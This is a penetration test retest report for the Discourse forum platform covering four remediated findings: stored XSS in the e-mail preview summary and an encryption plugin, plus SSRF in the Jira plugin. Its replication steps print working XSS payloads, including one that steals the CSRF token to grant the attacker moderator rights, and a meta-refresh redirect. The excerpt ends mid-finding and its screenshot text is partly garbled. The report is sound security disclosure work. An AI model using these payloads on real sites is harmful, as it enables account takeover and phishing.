Zschellman Quality, above all.

Penetration Test Report

Civilized Discourse Construction Kit, Inc.

Retest of External Network and Web Application October 5, 2023



ATTESTATION & COMPLIANCE SERVICES • PROPRIETARY & CONFIDENTIAL UNAUTHORIZED USE, REPRODUCTION OR DISTRIBUTION OF THIS REPORT, IN WHOLE OR IN PART, IS STRICTLY PROHIBITED.

Contents

| Executive Summary | 3 |
|-----------------------|----|
| Assessment Scope | 5 |
| Methodology | 8 |
| Attack Path Narrative | 10 |
| Risk Ratings | 12 |
| Issues Identified | 13 |



▶ Section 1

Executive Summary



Prepared For

Civilized Discourse Construction Kit, Inc. 8 The Green Suite #8383 Dover, DE 19901

Executive Summary

Civilized Discourse Construction Kit, Inc. ("Discourse") contracted with Schellman Compliance, LLC ("Schellman") to perform a penetration test of the Discourse platform and external network. Testing occurred within the staging environment between August 8, 2023, and August 21, 2023. This assessment focused on testing the effectiveness of controls implemented to secure the staging environment by identifying and exploiting vulnerabilities, validating their risk, and providing recommendations for remediation.

Four (4) moderate risk issues were discovered while performing the subsequent tests during this engagement:

- External Network Penetration Testing
- Web Application Penetration Testing

A retest of all initially identified findings occurred on October 5, 2023. Upon completing the retest, all findings were determined to be remediated. These results are summarized below and individual retest observations have been noted within the finding details pages.

Summary Table

The following table lists the findings from the assessment, along with their risk rating and a unique identifier.

| Identifier | Finding | Risk Rating | Retest Result |
|------------|---|--------------------|----------------------|
| APP-01 | Stored Cross-Site Scripting - E-mail Preview Summary (Text) | • Moderate | Remediated |
| APP-02 | Stored Cross-Site Scripting - E-mail Preview Summary (HTML) | • Moderate | Remediated |
| APP-03 | Server-Side Request Forgery - Discourse Jira Plugin | • Moderate | Remediated |
| APP-04 | Stored Cross-Site Scripting - Message Encryption Plugin | • Moderate | Remediated |

Assumptions & Limitations

All testing activities were conducted as a point-in-time assessment. As such, the vulnerabilities reflected in this report may not indicate vulnerabilities that existed before or after the test execution window.



▶ Section 2

Assessment Scope



Assessment Scope

Prior to any testing activities, Discourse provided a list of IP addresses as the scope of the assessment. Port scanning was performed on all TCP ports and the top 100 UDP ports. Schellman conducted testing of only the in-scope resources as defined below.

External Network

| Description | IP Address | Open Ports |
|-----------------------|----------------------|-------------|
| sjc4 External Network | 74.82.16.131 | 22 TCP |
| sjc4 External Network | 74.82.16.132 | 22, 443 TCP |
| sjc4 External Network | 74.82.16.133 | 22, 443 TCP |
| sjc4 External Network | 74.82.16.138 | 80, 443 TCP |
| sjc4 External Network | 74.82.16.139 | 80, 443 TCP |
| sjc4 External Network | 74.82.16.140 | 80, 443 TCP |
| sjc4 External Network | 74.82.16.141 | 80, 443 TCP |
| sjc4 External Network | 74.82.16.142 | 80, 443 TCP |
| sjc4 External Network | 74.82.16.143 | 80, 443 TCP |
| sjc4 External Network | 74.82.16.144 | 80, 443 TCP |
| sjc4 External Network | 74.82.16.145 | 80, 443 TCP |
| sjc4 External Network | 74.82.16.146 | 80, 443 TCP |
| sjc4 External Network | 74.82.16.147 | 80, 443 TCP |
| sjc4 External Network | 74.82.16.153 | 25 TCP |
| sjc4 External Network | 74.82.16.154 | 25 TCP |
| sjc4 External Network | 2602:fd3f:0:ff04::83 | 22 TCP |
| sjc4 External Network | 2602:fd3f:0:ff04::84 | 22 TCP |
| sjc4 External Network | 2602:fd3f:0:ff04::85 | 22 TCP |
| sjc4 External Network | 2602:fd3f:0:ff04::8a | 80, 443 TCP |
| sjc4 External Network | 2602:fd3f:0:ff04::8b | 80, 443 TCP |
| sjc4 External Network | 2602:fd3f:0:ff04::8c | 80, 443 TCP |
| sjc4 External Network | 2602:fd3f:0:ff04::8d | 80, 443 TCP |
| sjc4 External Network | 2602:fd3f:0:ff04::8e | 80, 443 TCP |
| sjc4 External Network | 2602:fd3f:0:ff04::8f | 80, 443 TCP |
| sjc4 External Network | 2602:fd3f:0:ff04::90 | 80, 443 TCP |
| sjc4 External Network | 2602:fd3f:0:ff04::91 | 80, 443 TCP |
| sjc4 External Network | 2602:fd3f:0:ff04::92 | 80, 443 TCP |
| sjc4 External Network | 2602:fd3f:0:ff04::93 | 80, 443 TCP |
| sjc4 External Network | 2602:fd3f:0:ff04::99 | 25 TCP |
| sjc4 External Network | 2602:fd3f:0:ff04::9a | 25 TCP |
| sjc4 Internal Network | 2602:fd3f:0:400::ff | 5000 TCP |

External open ports and services

Web Application

Schellman was provided access to two (2) tenants across one (1) web application, which were accessible from the following URLs:

| Web Application | URL | Open Ports |
|--------------------|--|-------------|
| Discourse Tenant 1 | https://aspt2023t1.staged-by-discourse.com | 80, 443 TCP |
| Discourse Tenant 2 | https://aspt2023t2.staged-by-discourse.com | 80, 443 TCP |

Web application and open ports

Web Application Credentials

Discourse created four (4) initial test accounts to access the applications. Schellman provisioned three (3) additional user accounts to assess the application in the context of user-defined roles. The following table lists the accounts used during testing:

| Application | Account Name | Role | Created By |
|--------------------|----------------------------------|---------------|------------|
| Discourse Tenant 1 | alpha.discourse@redschell.com | Administrator | Discourse |
| Discourse Tenant 1 | bravo.discourse@redschell.com | Moderator | Discourse |
| Discourse Tenant 1 | echo.discourse@redschell.com | User | Schellman |
| Discourse Tenant 2 | charlie.discourse@blueschell.com | Administrator | Discourse |
| Discourse Tenant 2 | delta.discourse@blueschell.com | Moderator | Discourse |
| Discourse Tenant 2 | foxtrot.discourse@blueschell.com | User | Schellman |
| Discourse Tenant 2 | hotel.discourse@blueschell.com | User | Schellman |

Accounts used during testing



Section 3 Methodology



Methodology

Schellman's approach to penetration testing is based on the experience of a team that has been conducting tests and evaluating their results for over two decades. Schellman understands how breaches occur, how corporate requirements may affect a test, and the need for a quality deliverable which is applicable to executive, security, and system administration teams. Based on this information, a framework was built to ensure the goals and objectives of a quality assessment. The framework leverages the standards available in the public domain, including, but not limited to:

- National Institute of Standards and Technology (NIST) Special Publication (SP) 800-115
- Open Web Application Security Project[®] (OWASP[®]) Web Security Testing Guide (WSTG)
- The MITRE Corporation ATT&CK[®] Matrix for Enterprise

External Network

A list of publicly accessible hosts was provided by Discourse. With that information, the following steps were performed from the perspective of an unauthenticated adversary on the Internet.

- ✓ Enumerate open services on all in-scope hosts
- ✓ Perform automated vulnerability scans
- ✓ Manually review each service for known vulnerabilities and security misconfigurations
- ✓ Verify and exploit found vulnerabilities
- ✓ Attempt to escalate privileges and compromise the supporting infrastructure

Web Application

As an authenticated adversary of the application, Schellman attempted to gain access to the servers and infrastructure supporting the environment. Two (2) separate tenant environments were provided to test the web application attack vectors. The following steps were taken while attempting to breach the web application's protections and access the underlying infrastructure.

- ✓ Configure a local proxy to intercept HTTP(S) traffic
- Determine the target application footprint
- ✓ Map available web application functionality
- ✓ Analyze client-side code (e.g. HTML and JavaScript) for potential attack vectors
- ✓ Manually search for and exploit vulnerabilities in the OWASP WSTG
- ✓ Attempt to compromise the environment supporting the application



▶ Section 4

Assessment Results



Attack Path Narrative

The following narrative details the major components of Schellman's attack path in pursuit of testing objectives. This attack path is not inclusive of all testing activities, but instead serves to summarize the primary steps taken to complete the assessment.

External Network

Schellman performed passive and active reconnaissance of Discourse's externally-facing hosts. This consisted of port, service, and vulnerability scanning of the in-scope hosts. Identified ports with open web services were targeted with fuzzing tools in an attempt to identify hidden content. Schellman then reviewed Discourse's core software and in-scope plugins' public GitHub repositories for sensitive information such as hardcoded credentials and API keys. Finally, the hosts' DNS records were assessed for security misconfigurations such as missing DMARC records. While discoursemail.com was found to have the DMARC policy set to "quarantine", Discourse had previously accepted this risk as a requirement for its operations.

Web Application

The web application assessment began with active reconnaissance, which consisted of manually browsing links inside the application while using an HTTP interception proxy. In doing so, an application map was created to conduct testing via a quantitative approach and to mark any broken or out-of-scope functionality. A combination of built-in scanning tools and plugins were used to discover information about the application's functionality and supporting infrastructure, including points of user input and the technology stack used to build the application. Reconnaissance was completed by compiling a list of names and versions of third-party libraries for later research. The Discourse platform was then assessed for vulnerabilities in the OWASP Web Security Testing Guide (WSTG) and issues that could lead to a compromise of the infrastructure supporting it. Four (4) moderate risk issues were identified during the web application penetration test.

Multiple web-based vulnerability scanners were configured and run against the identified routes and endpoints while manual testing occurred. Core application functionality and new features were prioritized as testing occurred within a limited engagement window. The focus and precedence of further manual test efforts were then determined by matching potential attack vectors to application functionality and evaluating the impact and likelihood of exploitation. These endpoints were assessed by sending a base set of payloads and manually reviewing their HTTP responses for indications of exploitability. Examples of this include changes in the HTTP response code, content length, content type, and response delivery time. This process was refined throughout the testing window by studying the expected behavior of individual functions and identifying any deviations that resulted from manipulating input data. Iteratively, the payloads were further tailored to target the identified technology stack and distinctive system characteristics.

Discourse is an open-source Internet forum software that enables users to establish online communities with features tailored for discussing various topics and having meaningful interactions with other users. Generally speaking, forum software is deployed with the intent of public access, allowing anyone to sign up with an account and start interacting with the community. With this in mind, a focus was placed on testing for injection based attacks from a low privileged account that could potentially compromise administrative users. Two (2) different methods of injecting malicious client-side code from a low privileged user were identified within the "E-mail Preview Summary" admin area. The first dealt with injecting malicious code into the title of a "Topic", which would then execute when the admin user viewed the relevant application content (APP-01). The second dealt with the "Events" experimental feature, allowing a similar attack but through injecting into the name of an "Event" (APP-02).

The core forum software is expandable with a variety of plugins that add features such as different authentication methods and message encryption. Discourse provided a list of in-scope plugins to test as part of the assessment. These plugins were preinstalled into the test environments and could be enabled and disabled via a toggle switch. One (1) additional instance of XSS was identified within the message encryption plugin. This allowed a low privileged user to privately message another user, including administrators, and include malicious clientside code in the message title. The malicious client-side code was then executed when the message was decrypted and read by the receiving user (APP-04). Plugins interacting with third-party services, such as Atlassian Jira or Salesforce, were code reviewed as well as dynamically tested to uncover vulnerabilities. While assessing the interactions between a Jira server and the Discourse Jira plugin, it was observed that a lower privileged user could manipulate the path to the Jira API in an arbitrary manner from the "Attach Issue" feature. In addition, the administrator user could perform server-side request forgery attacks against the Discourse internal infrastructure, leading to internal network enumeration (APP-03).

Prior to testing, Schellman was given access to two (2) Discourse tenants representing different organizations. As an authenticated user of the first tenant (Tenant 1), Schellman attempted to access or modify data belonging to the secondary tenant (Tenant 2). This was accomplished by attempting to identify authentication, authorization, and business logic vulnerabilities throughout the application. No vulnerabilities were identified during this attack vector and Schellman was unable to access or modify data from one tenant to another.

Risk Ratings

How Risk is Calculated

Schellman assigns a risk rating to each vulnerability based on the likelihood and impact of the exploit. The risk ratings are based on the guidelines published in NIST SP 800-30 Rev. 1. The table below provides an overview of how the overall risk rating is determined and a definition of each category can be found below.



Risk mapping matrix

Likelihood and Impact Explained

Likelihood - The probability the vulnerability can be exploited, considering the attacker's skill level and access.

- High The attacker requires no specific motivation or special skills to exploit, and the vulnerability is easily accessible. Examples include well understood vulnerabilities and those with functional or proof-of-concepts available.
- Moderate The attacker requires some motivation and experience; additionally, the vulnerability may be restricted by controls in the environment. Examples include vulnerabilities requiring specific and non-default settings enabled and those in environments that are accessible with two-factor authentication.
- Low The attacker requires specialized skills and is highly motivated; additionally, the vulnerability requires enhanced levels of access to exploit. Vulnerabilities that are theoretically possible, or likely only exploitable by Nation States are examples.

Impact – The potential harm done to the organization based on the vulnerability.

- High Exploitation of the finding results in a serious compromise to the system and will likely disrupt business operations, potentially for an extended period. Examples include remote code execution resulting in administrative access on the host and SQL injections disclosing extensive amounts of sensitive data.
- Moderate Exploitation of the finding results in significant compromise to the system and may disrupt business operations in the short term. Examples include local privilege escalation attacks and incubated vulnerabilities that require concatenation to fully exploit.
- Low Exploitation of the finding results in no additional access to the system and would not cause a disruption to business operations. Examples include default SNMP community strings and many SSL vulnerabilities.

Issues Identified

Summary Table

The following table lists the findings from the assessment, along with their risk rating and a unique identifier.

| Identifier | Finding | Risk Rating | Retest Result |
|------------|---|------------------------------|---------------|
| APP-01 | Stored Cross-Site Scripting - E-mail Preview Summary (Text) | Moderate | Remediated |
| APP-02 | Stored Cross-Site Scripting - E-mail Preview Summary (HTML) | • Moderate | Remediated |
| APP-03 | Server-Side Request Forgery - Discourse Jira Plugin | Moderate | Remediated |
| APP-04 | Stored Cross-Site Scripting - Message Encryption Plugin | • Moderate | Remediated |

APP-01 Stored Cross-Site Scripting - E-mail Preview Summary (Text)

| Identifier | APP-01 | Impact | High | Category | Input Validation |
|---------------|-----------------|------------|----------|-------------|------------------|
| Attack Vector | Web Application | Likelihood | Moderate | Risk Rating | Moderate |

Description

The "text" section in the "Emails" >> "Preview Summary" admin page was vulnerable to stored cross-site scripting (XSS) attacks. Stored XSS vulnerabilities arise when user input is stored and later embedded into the application's responses in an unsafe way. A JavaScript payload saved in either the "Title" or "Content" section of a "Topic" was executed in the application when displayed as a "Popular Topic" in the "text" summary. Enabling the default CSP blocked the script execution, however it was still possible to perform a malicious redirect via HTML injection.

Impact

An attacker could use the vulnerability to inject malicious JavaScript code into the application, which would execute within the browser of any user who views the relevant application content. The attacker-supplied code can perform a wide variety of actions, such as redirecting users to phishing websites, overlaying custom elements on top of the legitimate application, capturing keystrokes within the application's domain.

Location

- Injection Endpoints
 - POST https://{{Tenant}}.staged-by-discourse.com/posts
 - PUT https://{{Tenant}}.staged-by-discourse.com/t/{{Topic Title}}/{{Topic ID}}
- Execution Endpoint
 - GET https://{{Tenant}}.staged-by-discourse.com/admin/email/x

Remediation

Validate and sanitize user-controlled input displayed within "text" area of the "E-mail Preview Summary". Use the HTML entity counterparts of special characters (<>'"();%+) instead of string literals.

References

OWASP Reference: WSTG-INPV-02

Retest Observations

Remediated. Malicious HTML input entered in the post title or contents was properly escaped when output within the "E-mail Preview Summary" functionality.

Replication Steps

With Default CSP disabled

Step 1: Authenticate to the application as a low privileged user, such as "echo.discourse". Then, create a new "Topic" with the following XSS payload as the "Title".

| $igstarrow \mathbf{C}$ (is aspt2023t1.staged-by-discourse.com/latest | | | | 🚖 🗦 👗 🗖 👶 Incognito |
|---|--|---|---|---|
| = Discourse | | | | 📌 Q 🥵 |
| Topics My Posts More Topic Welcome to Tenant General | a → Latest New (2) Top 1 Redschell! औ | p Categories | Docs | + Open Draft Replies Views Activity |
| + Create a new Topic | | | | esc 🗙 |
| <video onerror="confirm('Topic')" src="x"></video> | | Welcome to Tenant 1 | Redschell — thanks for starting a ne | w conversation! |
| General | + | Does the title sou | nd interesting if you read it out loud? Is | it a good summary? |
| | | Who would be interested | erested in this? Why does it matter? WI | nat kind of responses do you want? |
| Here's some content for the post. | | Include commonly topics, select a ca | y used words in your topic so others car ategory (or tag). | n find it. To group your topic with related |
| | | For more, see our co | mmunity guidelines. This panel will only | appear for your first 2 posts. |

Step 2: Save the post and review the Initial "POST" request containing the XSS payload in the "title" parameter.

https://aspt2023t1.staged-by-discourse.com/posts

| | POST /posts HTTP/2 |
|----|--|
| | Host: aspt2023t1.staged-by-discourse.com |
| | Cookie:stripe_mid=940643f8-7f71-4b01-b082-183bc020c4229918be;stripe_sid=0c28793d-892d-415d-892e-8741c2c95d95eb6cc8; _t= |
| | BapoVYQyBtmTW%2BngE6sCICMeWl104NQWGQ0sITdqTaEUZMQtgdKvpJI48Wfqn9XlUBkNSlNHQEkAuEIftaUV7F3RMzyIrL0eeHqCYKsbyv2LwOsUBiDiACDfwAAbcXAcHz |
| | nM3iZjtgJo1hc8yw7kocv%2BTiUyTWbGMnG%2BnJCfBIDofuqh1%2BIcPGHQnpM6n9wJkl9Nan0bgnzPhmAC0PlU6%2FTXDIBCc78FqWusuR%2FxzTb1cUvLewnU84zo6fEu |
| | fwqbxr6Qnp04hjXBHDQqMyqWlHlbF7RDR8z9jc5DWSyVGJRWGJDmhd6sLw%3D%3D ; |
| | j8ZeRk6b7Gds0F6hlB%2B%2FubfUI%2BH44JbXd%2Fw2wEsJ6K%2BEGLDFNb5KNc1uV%2BMsLHokap7VtkznnoZuICC1wSJLdCEF0FGUGuhQRkbi8lP0ZgdmR701ulwPz74N |
| | yT4%2Bz7mXggUyXIluTZZkn%2BVhy0q42H%2FF2zALgZ1xT6KEsznQ8TcHz9sgNHfIwB3qloZUkRc8HwdFFpAf50w192b0Z4cW7W%2BbyAmJMwkIb7QTtW8HZ0l3ceVmT0S0 |
| | lLwkfEmr3JncgClzqg90hqXGx3oFDnJR73hInY9W5VAwz4xIojDwAD1RT6am4Cl%2FvKqToG2zf0%2BACSqILYW1Mgup8061ffsvX1FlUwV0WlkxLlD%2BiDVZvft6HJvnjb |
| | GVDlHTs5LNSwllJNH%2BCcBBqkas4aZrE%2B%2BCz1m9cYDRXEgz9BP5zk%2FIUufzEGUPgMXTyXj2U3VBeqQgeUcQNevQW3IAcFqQIGWYzItZbIzofL70J1F5lopKBDzvTZ |
| | TSuszrZAjmYVgqPjQepmGszh12oq56mwW9FQJjSnz2JN12tX5sloqYDnZ1TMFLZ%zB9zNwF%2B2qLT2Q0%2F4ycr6DxBmvh%2FIaMbuUvrPWIeC1PKs984xdU67S0%3Dy3 |
| | REysMUyAS000bU%2FQJ36tFAFhvcHnG(laSQSg%3D%3D |
| 4 | Content-Length: 288 |
| 5 | Sec-Ch-Ua: |
| 2 | UISCOURSE-Present: true |
| | X-CSTT-IOKEN: OSTOPIJASIErSounztbanpditbaw-UMMUbtdUzt46xx3-KMZ9gN6IPBVV2d45PGMARL]LKUMMPSUV_RCJUZUNU |
| l | |
| 10 | |
| 11 | Discourse-Logged-In. the |
| 12 | Content-Type: application/x=www=form=dritencoded, charset=off=o |
| 13 | Accept, */* |
| 14 | A-hequested-mith Anthrephequest |
| 15 | Driaini https://asht2023t1.staged_by_discourse.com |
| 16 | Sec-Fetch-Site: same-origin |
| 17 | Sec-Fetch-Mode: cors |
| 18 | Sec-Fetch-Dest: empty |
| 19 | Referer: https://aspt2023t1.staged-by-discourse.com/latest |
| 20 | Accept-Encoding: gzip, deflate |
| 21 | Accept-Language: en-US,en;q=0.9 |
| 22 | |
| 23 | raw=Here's+some+content+for+the+post.dtitle=%3Cvideo+src%3Dx+onerror%3Dconfirm(%E2%80%98Topic%E2%80%99)%3E&unlist_topic=false& |
| | category=4&is_warning=false&archetype=regular&typing_duration_msecs=4600&composer_open_duration_msecs=8558&shared_draft=false& |
| | draft_key=new_topic&nested_post=true |
| | |

[Continued on next page]

Step 3: With the post created, generate activity to ensure the topic will display in the "Preview Summary" area for the administrator account.

| <vid< b=""> ■ Genera</vid<> | eo src= ª | ⊧x one | error= | =con | firm | ('Tc | opic') |)> @^ | | | | |
|--|------------------------------|----------------------|--------------|------------|------------|------------------|----------------|-------|-----|-----------------------|---|--------------------------------|
| E | echo.discou Here's some | urse content fo | r the pos | t. | | | | | | | 2 🥒 12m | Aug 9 1 / 3 Aug 9 |
| | | | | | | | | | ତ | GAN | <table-cell-rows> Reply</table-cell-rows> | |
| | created | last reply (E) 8m | 2 replies | 2 views | 2 users | 1 like | E ² | | | | ~ | |
| | alpha.disco Welcome to | urse Tenant 1! | | | | | | | | | 9m | |
| | | | | | | | | | 1 🎔 | ତ | <table-cell-rows> Reply</table-cell-rows> | 8m ago |
| E | echo.discou Thanks for th | urse ne welcome | 9! | | | | | | | | 8m | |
| | | | | | | | | | ନ | G ¹ | the Reply | |

Step 4: Authenticate as an administrator, such as "alpha.discourse" and access the "Admin" >> "Emails" >> "Preview Summary" section. Then, click the "text" option.

| - | | |
|---|---|-------|
| | | 🗩 Q 🧭 |
| Topics • | Dashboard Settings Users Badges Emails Logs Customize API Backups Plugins | |
| ≗ My Posts ● ■ Review | Settings Preview Summary Advanced Test Templates Sent Skipped Bounced Received Rejected | |
| ✓ Admin | Preview the content of the summary emails sent to inactive users. | |
| ≑ More ∽ Categories | Last Seen User: 2023-08-02 User: alpha.discourse Refresh | |
| GeneralSite Feedback | Send this result to: email address to test Send | |
| f Staff ≅ All categories | | |
| ✓ Messages | ■ General August 9 <video onerror≕confirm('topic')="" src≔x=""></video> | |
| 🛥 Inbox | echo.discourse | |
| ✓ Channels | Here's some content for the post. | |
| + 🗉 | | |

Step 5: The JavaScript injected by the low privileged user is then executed.



Step 6: Review injection point.

| ** | More | [Event Topic Test][4] |
|----------|--|---|
| | Categories | |
| • | General | |
| | Site Feedback | video 300×150 |
| f | Staff | |
| | All categories | |
| | Messages | |
| - | Inbox | |
| | Channels | |
| | + 📾 | |
| ements | Recorder 八 Console Sources | Network Perumance Memory Application Lighthouse DOM Invader |
| ▼<(| div class="admin-contents admin-email | preview-diger "> |
| | <pre><div class="admin-controls"></div></pre> /div | > flex |
| • | <pre><div class="admin-container"> Preview the content of the summ</div></pre> | ary emails so t to inactive users. |
| | ▶ <div class="admin-controls email-p</th><th>review">< liv> flex</div> | |
| | <pre>v<div class="loading- sediv_class=" empil_proview_digest<="" id="ember238" pre=""></div></pre> | container en er-view"> |
| | <pre>><div class="email=preview=digest"><div class="controls">····</div></div></pre> | |
| | <pre>w<div class="preview-output"></div></pre> | |
| | ▼ <pre></pre> | 1 Patrick 11[1] sizes your last visit as August 0.0 New Tasias 2 New House |
| | # | ## Popula Topics [Introductions Here alpha][2] Lorem ipsum dolor sit amet, consectetur adipiscing eli |
| | Aenean est elit, posuere eu | leo et, iverra mollis est. Praesent nec metus pretium, faucibus magna vitae, dictum ex. Praesent int |
| | sollicitudin metus sodales suscipit viverra conseguat. | at. Vest pulum quis tristique tellus. Curabitur fringilla leo nec nulla luctus auctor. In hac habitass Pellent sque at imperdiet auque. Nullam at ornare magna. Aliquam bendrerit liqula eu sem elementum ul |
| | euismod rutrum tincidunt, a | rcu mandictum tortor, sed tincidunt justo mauris vitae lorem |
| | [Quote in to | pic 12373] ![image](https://sjc4.discourse-cdn.com/aspt2023t1/user_avatar/aspt2023t1.staged-by- |
| | discourse.com/alpha.discour | se/48/7_2.png) atpna.discourse aaa |
| | Video src="x" onerror="cor | firm('Topic')">@ == \$0 |
| | | |

Example using the "Content" area of a post.

<video src=x onerror=confirm(\'Content\')>

| post 1 echo.discou 1 | | H≺video src=x onerror≕confirm('Content')> | |
|----------------------|-----------------|---|--|
| General | ✓ optional tags | + | |
| Ω B I & 55 ↔ ⊠ | ≔ ≔ © # ¢ | | |
| | | | |
| Save Edit | | | |

Continued:

| 3 aspt2023t1.staged-by-discourse.com/admin/e | mail/preview-digest | | | | | | | ₫ ☆ |
|--|----------------------------|---------------------------------------|----------------|---------|---------|----------|----------|-------|
| | | aspt2023t1.staged-by-disco Content | ourse.com says | | | | | 🗩 Q 🥥 |
| S Topics ● | Dashboard Settings | | Cancel | ок | Backups | Plugins | | |
| Review | Settings Preview S | Summary Advanced Test | Templates Sent | Skipped | Bounced | Received | Rejected | |
| ≁ Admin | Preview the content of the | summary emails sent to inactive | users. | | | | | |

Step 7: Return to the topic and modify the "Title" to include the following XSS payload.

<video src=x onerror="\$.get('/', function(d){ var t=d.substr(d.indexOf('csrf-token')+21,86); \$.ajax({type:'PUT',url:'/admin/users/3/grant_moderation',headers:{'X-Csrf-Token':t}}); });"></video>

| | | | 📌 વ્ 🔋 |
|--|----------------------|---|--------|
| <video src=x onerror="\$.get(</th> <th>'/', function(d){ va</th> <th>ar t=d.substr(d.indexOf('csrf-token')+21,86);</th> <th>]</th> | '/', function(d){ va | ar t=d.substr(d.indexOf('csrf-token')+21,86); |] |
| General | - | optional tags | |
| ✓ × | | | |
| echo.discourse | | 15 🥓 20h | Aug 9 |
| Here's some content | for the nost | | 4/3 |

[Continued on next page]

https://aspt2023tl.staged-by-discourse.com/t/video-src-x-onerror-confirm-topic/34



Step 9: Confirm that the entirety of the payload was saved within the default character limits.



[Continued on next page]

Step 10: Authenticate as an administrative user and navigate back to the "Preview Summary" section. Then, click on "text" and, while monitoring the network traffic, note that two (2) requests are sent using XHR.

- 1. The JavaScript first initiates a "GET" request to the root ("/") endpoint and saves the response, allowing the value of the "csrf-token" to be extracted.
- 2. A second "PUT" request containing the extracted "csrf-token" value is made to the "/admin/users/3/grant_moderation" endpoint, escalating the attacker's role to a moderator:

| 3t1.staged-by-discourse.com/admin/email/preview-digest | b ☆ |
|---|--------|
| | |
| Settings Preview Summary Advanced Test Templates Sent Skipped Bounced Received Rejected | |
| My Posts Preview the content of the summary emails sent to inactive users. | |
| Environment Last Seen User: 2023-08-03 User: alpha.discourse Refresh 2 More Format html [text] | |
| Send this re-ult to: email address to test | |
| er & Console Sources Network Performance Memory Application Lighthouse DOM invader | |
| × 🙆 ⊘ ▼ Q, □ Preserve log □ Disab f cache No throttling * 😙 1 ± | |
| Filter Invert Hidge ata URLs All Fetch/XHR JS CSS Img Media Font Doc WS Wasm Manifest Other Has blocked cookies Blocked Requests 3rd-party requests | |
| 5000 me 10000 me 15000 me 25000 me 25000 me 30000 me 35000 me 40000 me 40000 me 55000 me 55000 me 60000 me 60000 me | |
| Name X Headers Preview Response Initiator Timing Cookles | |
| asp1202311.staged-by-discourse.com | |
| • aspt202311.staged-by-discourse.com | .png", |
| grant_moderation - "active": true, | |
| I poll I I I I I I I I I I I I I I I I I I | |
| 15 requests 102 kB transferred 196 kB resources {} | |
| | |

Step 11: Review the groups to confirm that the user was added as a moderator.

| Moderators | | | O Delete | Message |
|--|--------------------|---------|----------|----------|
| moderators 🕨 😅 Members (2) Activity 🌶 | Manage Permissions | | | |
| username or ema | | Added | Posted | Seen |
| B bravo.c scourse bravo.discourse bravo. | | 32 mins | 1 day | 21 hours |
| echo.discourse echo.discourse | | 6 mins | 20 hours | just now |

Step 1: Revisit the topic as the "echo.discourse" user and enter in the following HTML payload as the topic title.

| <meta< th=""><th><pre>http-equiv="refresh"</pre></th><th>content="2:u</th><th><pre>url=https:/</pre></th><th>/schellman.com"</th><th>/></th></meta<> | <pre>http-equiv="refresh"</pre> | content="2:u | <pre>url=https:/</pre> | /schellman.com" | /> |
|---|---------------------------------|--------------|------------------------|-----------------|----|
| the ca | neep equit i en con | concerne zya | | | 1. |

| | | 📌 વ્ 📧 |
|--|--|--------------------------------|
| <meta cont<="" http-equiv="refresh" th=""/> <th>ent="2;url=https://schellman.com</th> <th>ו" /> <i>מ</i></th> | ent="2;url=https://schellman.com | ו" /> <i>מ</i> |
| echo.discourse Here's some content for the post. | 15 🖋 21h | Aug 9 1 / 3 Aug 9 |
| | <i>ග 🖉 …</i> <table-cell-rows> Reply</table-cell-rows> | |

Step 2: Authenticate as the "alpha.discourse" administrative user and visit the "text" area of the "E-mail" >> "Preview Summary" page. Observe that the redirect to the domain specified in the meta tag was triggered.

| * | | | | | | | | | |
|------|-----------------------------|-----------------------|------------------------|----------------|--------------------|-------------|--------------------|-------------------|---------------|
| • | My Posts 🔹 | Preview the conter | int of the summary | emails sent to | o inactive users. | | | | |
| - | Review | Last Seen User: | 2023-08-03 | | er. alnha discours | 20 | | | |
| J. | Admin | | | | | | | | |
| : | More | Format html te | ext | | | | | | |
| | aa aamladmia 🗕 🕂 🕅 | Send this result of | o: email address | to test | Send | | | | |
| burs | se.com/admin | | | | | | | | |
| | Sources Network Performance | Memory App ation | Lighthouse DOI | M Invader | | | | | |
| × | 🟮 ⊘ 🍸 🍳 🔲 Preserve log | 🗌 Disable Iche No | o throttling 🔻 🤶 | 1 Ł | | | | | |
| 0 | Filter Inver | rt 🔲 Hide 🗖 a URLs Al | I Fetch/XHR JS C | SS Img Media | Font Doc WS Wa | sm Manifest | Other 🔲 Has blocke | d cookies 🔲 Block | edRequests |
| | 5 ms 10 ms 15 ms | 20 ms 25 ms | 30 ms 35 m | s 40 ms | 45 ms 50 m | s 55 ms | 60 ms 65 r | ns 70 ms | 75 ms 8 |
| | Name | Url | | : | Status | | Domain | Туре | Initiator |
| | 🗋 report.json | https://asp | pt2023t1.staged-by-dis | course.com (| (pending) | | aspt2023t1.stage | ping | discourse-cli |
| | 🗋 update | https://asp | pt2023t1.staged-by-dis | course.com (| (pending) | | aspt2023t1.stage | ping | presence.js:4 |
| | schellman.com | https://sch | hellman.com/ | | pending) | | schellman.com | document | VM195:2 |
| | | | | | | | | | |

Continued:

| O O O O O IT Compliance Attestation Serv × + | | | | |
|--|------------|----------------------|-------------------|-------------|
| \leftrightarrow \rightarrow C is schellman.com | | | | |
| Schellman | Services 🗸 | Industry Solutions 🗸 | Learning Center 🗸 | Our Process |

APP-02 Stored Cross-Site Scripting - E-mail Preview Summary (HTML)

| Identifier | APP-02 | Impact | High | Category | Input Validation |
|---------------|-----------------|------------|----------|--------------------|------------------|
| Attack Vector | Web Application | Likelihood | Moderate | Risk Rating | Moderate |

Description

The "html" section in the "Emails" >> "Preview Summary" admin page was vulnerable to stored cross-site scripting (XSS) attacks. Stored XSS vulnerabilities arise when user input is stored and later embedded into the application's responses in an unsafe way. A JavaScript payload saved in the name of an "Event" was executed in the application when displayed as a "Popular Topic" in the "html" summary. Enabling the default CSP blocked the script execution, however it was still possible to perform a malicious redirect via HTML injection. The content for the "html" section loaded within an iframe, which allowed the redirected content to be embedded into the application.

Impact

An attacker could use the vulnerability to inject malicious JavaScript code into the application, which would execute within the browser of any user who views the relevant application content. The attacker-supplied code can perform a wide variety of actions, such as redirecting users to phishing websites, overlaying custom elements on top of the legitimate application, capturing keystrokes within the application's domain.

Location

- Injection Endpoints
 - POST https://{{Tenant}}.staged-by-discourse.com/posts
 - PUT https://{{Tenant}}.staged-by-discourse.com/t/{{Topic Title}}/{{Topic ID}}
- Execution Endpoint
 - GET https://{{Tenant}}.staged-by-discourse.com/admin/email/preview-digest.json

Remediation

Validate and sanitize user-controlled input displayed within "html" area of the "E-mail Preview Summary". Use the HTML entity counterparts of special characters (<>'"();%+) instead of string literals.

References

OWASP Reference: WSTG-INPV-02

Retest Observations

Remediated. Malicious HTML input entered in the event name was properly escaped when output within the "E-mail Preview Summary" functionality.

Replication Steps

With Default CSP disabled

Step 1: As an admin user, enable the "Events" feature in "Settings" >> "Discourse Event".

| Aspt2023t1.staged-by- | discourse.com/admin/site_settings | /category/discourse_post_ev | vent?filter=Discourse%20Event | | • 🖞 🛧 | * 🔺 🕹 🗖 |
